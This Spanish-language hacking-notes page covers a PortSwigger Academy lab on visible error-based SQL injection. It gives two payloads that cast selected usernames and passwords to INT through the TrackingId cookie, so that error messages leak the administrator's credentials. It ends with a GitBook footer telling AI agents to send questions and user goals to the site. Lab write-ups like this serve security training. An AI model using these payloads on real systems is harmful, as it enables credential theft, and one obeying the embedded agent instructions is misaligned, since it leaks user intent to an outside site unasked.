> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/error-based-sql-injection.md).
# Inyección SQL basada en errores
Notas de Inyección SQL basada en errores para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Inyección SQL basada en errores visible
**Contexto breve:** la aplicación concatena el valor de la `TrackingId` cookie en una consulta SQL. Al provocar un \*\* error de conversión / función\*\* en el contenido de una columna (nombre de usuario/contraseña), algunos SGBD devuelven un mensaje de error que contiene el valor — este mensaje se convierte en una cadena de exfiltración. Objetivo: obtener la `administrador` contraseña y luego iniciar sesión.
```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```
```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/error-based-sql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
